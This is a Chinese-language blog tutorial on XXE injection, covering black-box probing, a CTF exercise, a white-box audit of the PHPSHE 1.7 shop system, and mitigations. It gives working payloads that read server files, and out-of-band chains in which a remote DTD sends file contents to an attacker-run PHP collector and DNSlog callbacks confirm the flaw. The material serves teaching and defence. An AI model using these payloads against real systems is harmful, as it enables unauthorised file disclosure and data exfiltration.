chenhongl

导航

 

#知识点:
1、XML&XXE-原理&发现&利用&修复等
2、XML&XXE-黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用
4、XML&XXE-无回显&伪协议&产生层面

#思路点:
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
-XXE黑盒发现:
  1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
  2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
  3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
-XXE白盒发现:
  1、可通过应用功能追踪代码定位审计
  2、可通过脚本特定函数搜索定位审计(xml)
  3、可通过伪协议玩法绕过相关修复等

 

 

一、基础知识

 

1、XML

 

XML即可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。

其与HTML的区别是:

  • HTML 被设计用来显示数据,其焦点是数据的外观
  • XML 被设计用来传输和存储数据,其焦点是数据的内容

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

其焦点是数据的内容,把数据从HTML分离,是独立于软件和硬件的信息传输工具。

# XML文档
<!--XML声明--> <?xml version="1.0" encoding="UTF-8"?> <!--DTD,这部分可选的--> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <!--文档元素--> <foo>&xxe;</foo>

 

 

二、XML外部实体注入漏洞(XXE)

 

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(获取文件内容)、命令执行、内网端口扫描、攻击内网网站等危害。

1、XML&XXE-黑盒-原理&探针&利用&玩法等

这类漏洞与之前的漏洞有所不同,区别在于数据格式传输上的不同。在数据传输的格式有:json、字符串、xml。

【例】:xml的数据传输格式
① 访问:127.0.0.1:8081/web/php_xxe,输入用户名密码进行登录,抓包

可以看到请求数据包中,账号密码的传输格式是:<user><username>admin</username><password>amdin</password></user>

数据包中X-Requested-With: XMLHttpRequest 和 Content-Type: application/xml也说明它传输数据的格式是xml的


② 与html的请求的数据包,传输数据的格式不一样:

 

③ 所以xml接收数据格的式是不一样的,那么它肯定是用xml的代码去解析数据
那么他在代码中是怎么处理数据的呢?

1646633163807-309725aa-45e0-4bfd-a130-8ff0a03a23fc.png

 

2、XXE漏洞利用

① 攻击原理

  访问者客户端:用xml发送数据
  服务端:用xml解析数据
  如果利用xml写一个带有文件读取的代码尝试发送,如果被解析,那么就会得到类似文件读取功能实现

② 那么如何用XML代码去进行文件读取呢?

XML文件读取代码:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

其中:

  用“file”协议读文件;

  &test;是变量

 

③  将XML请求中的数据包,替换为xml文件读取的代码,发送请求后,成功读取到文件的内容

 

3、XXE - 带外测试 - 引用外部实体dtd

可以参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

1. 带外测试:(能不能加载远程文件)
用到平台 http://www.dnslog.cn/(获取一个免费的域名,利用漏洞让对放去访问这个地址,然后平台获取到对方的IP地址等信息)
① 从dnslog平台,获取域名

 ② payload:

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

将发送的xml数据包修改为payload进行发包,查看dnslog平台的访问记录

 

进行带外测试,是为了解决无回显问题,类似于正向连接和反向连接问题。

响应中有回显,是因为代码中写了输出的内容,比如1,username  

如果将代码中输出的内容注释掉,那在响应中就看不到回显的内容了

1646634843704-ca8b3ada-b4ef-4eac-97ba-c27507f79f09.png

 

注释掉后,再一次利用上面的payload进行读取文件,发现已经读取不到文件内容了

1646635239124-9694a938-cb87-4578-8f88-dd31592584dd.png

 

读取不到文件,可能的原因有很多种:1.代码写错 2.文件不回显 3.文件路径写错
带外测试是判断这个漏洞存不存在,判断能不能向外部发送数据。

如果访问后有访问记录,就说明漏洞存在,只是没有回显而已:

 

2. 引用外部实体dtd
通过带外测试,确定漏洞存在,通过引用外部实体,读取文件内容

外部实体引用dtd:引用远程evil2.dtd文件,evil2.dtd文件是远程加载读取文件(核心代码)

  ① 解决拦截防护绕过问题;

  ② 解决数据不回显问题;

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/web/php_xxe/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

# evil2.dtd:读取d:www.txt内容,核心代码
<!ENTITY send SYSTEM "file:///d:/www.txt">

1646636610367-db75177a-cc91-43ea-9b56-71db7b2b9637.png

 

3. 解决引用外部实体时不回显

如果代码中不返回的内容,读取的文件没有回显,把数据进行传参,然后再进行接收

用burpsuite修改后进行发包:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">     //把www.txt的内容赋值给file变量
<!ENTITY % remote SYSTEM "http://47.94.236.117/web/php_xxe/test.dtd">   //同时请求远程地址的test.dtd文件
%remote;
%all;
]>
<root>&send;</root>

# test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/web/get1.php?file=%file;'>">   //再用get1.php文件的参数来接收file的内容

# get1.php
<?php
$data=$_GET['file'];   #获取file的内容
$myfile = fopen("file.txt", "w+");   #新建文件
fwrite($myfile, $data);   #将文件内容写到新建的文件
fclose($myfile);
?>

在http://47.94.236.117/web/get1.php同级目录下查看file.txt文件就可以获取到www.txt内容。

 

4. 外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

 上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

 

4、XML&XXE-前端-CTF&Jarvisoj&探针&利用

【例】:CTF考题  http://web.jarvisoj.com:9882/

① 操作时,抓包

 

② 发现数据包的格式以及Content-Type都显示是json格式的

 

③ 但是查看源代码时,发现本来是XML的请求,在JS中被处理成了json格式的

关键代码函数XMLHttpRequest,在网上搜索https://www.w3school.com.cn/xml/xml_http.asp

 

④ 其实就是考的是xml,那么就直接把数据改为xml即可,用到之前的payload

<?xml version = "1.0"?><!DOCTYPE ANY [  <!ENTITY f SYSTEM "file:///home/ctf/flag.txt"> ]><x>&f;</x>

同时更改请求数据格式为:Content-Type: application/xml

 

⑤ 修改数据包,重新发包,成功读取到文件内容

 

总结:

XXE黑盒发现:
  1.  抓包获取得到Content-Type或数据类型为xml时,直接尝试进行xml语言payload的测试;
  2. 不管获取的Content-Type类型或数据传输类型是否是xml,均可尝试修改数据包为xml的payload后提交测试xxe;

  3. xxe不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的xxe被执行(比如excel、svg支持xml语言);

  流程:黑盒功能分析-前端提交-前端源码 - 抓包-构造Paylod测试

 

5、XML&XXE-白盒挖掘-CMS&PHPSHE&无回显审计

XXE白盒发现:

  1. 可通过应用功能追踪代码定位审计;

  2. 可通过脚本特定函数搜索定位审计;

  3. 可通过伪协议玩法绕过相关修复等。

  针对xxe漏洞挖掘,重点是关键函数,如果是数据传输,那么就很难被发现。(不知道特定功能点)

 

1. 搜特定函数

(1) php 搜 “php xml 解析函数”

  参考:https://www.cnblogs.com/timelesszhuang/p/4699734.html

【例】:PHPSHE B2C商城系统v1.7 

① 源代码全局搜索xml解析关键函数:simplexml_load_string

1646698299754-c2b637bb-0708-40f1-a41e-c15e41264711.png

找到相对应的文件:

 

继续搜索wechat_getxml函数

1646699179380-791af835-cd8e-4273-a876-f01993fcb354.png

 

思路回想一下:
  漏洞函数在自定义函数pe_getxml里面-->找谁调用了pe_getxml函数-->找到调用pe_getxml函数的wechat_getxml函数,继续寻找谁调用了wechat_getxml函数,最后找到了$xml = wechat_getxml();

审计流程:
  1、漏洞函数simplexml_load_string
  2、pe_getxml函数调用了漏洞函数
  3、wechat_getxml调用了pe_getxml
  4、notify_url.php调用了wechat_getxml
  访问notify_url文件触发wechat_getxml函数,构造Paylod测试

② 漏洞产生的文件是D:\phpstudy_pro\WWW\phpshe1.7\include\plugin\payment\wechat\notify_url.php
那么直接访问漏洞地址http://127.0.0.1:8111/include/plugin/payment/wechat/notify_url.php

 

③ 访问时抓包,修改数据包后重新发包

构造payload:

先尝试读取文件,
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

 

发现他没有读到内容,那么可能是什么问题呢?
  1.不存在漏洞
  2.无回显
  3.文件不存在
  4.payload不对

④ 那么就用带外测试,解决文件不存在,无回显问题。如果带外不能成功,要么就是payload写错,要么就是没漏洞。
<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "http://f5w0tv.dnslog.cn">
  %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

1646700530151-df8db52f-333c-4968-b7ee-fe3973f8dbab.png

 

在dnslog.cn平台上接收到数据,证明漏洞存在:

 

 

⑤ 然后带外传递数据解决无回显:

# 修改包数据

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/web/php_xxe/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

# test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/web/get1.php?file=%file;'>">

# get1.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
⑥ 打开file.txt,查看读取的“d:/www.txt”文件的内容

 

6、XXE修复防御方案:
(1)方案1-禁用外部实体
PHP:
  libxml_disable_entity_loader(true);
JAVA:
  DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
  from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(2)方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

 

1646628314462-443e376c-5f55-4ad5-8b72-1acad8f9b433.png

 

posted on 2024-05-09 13:29  chenhongl  阅读(65)  评论(0)    收藏  举报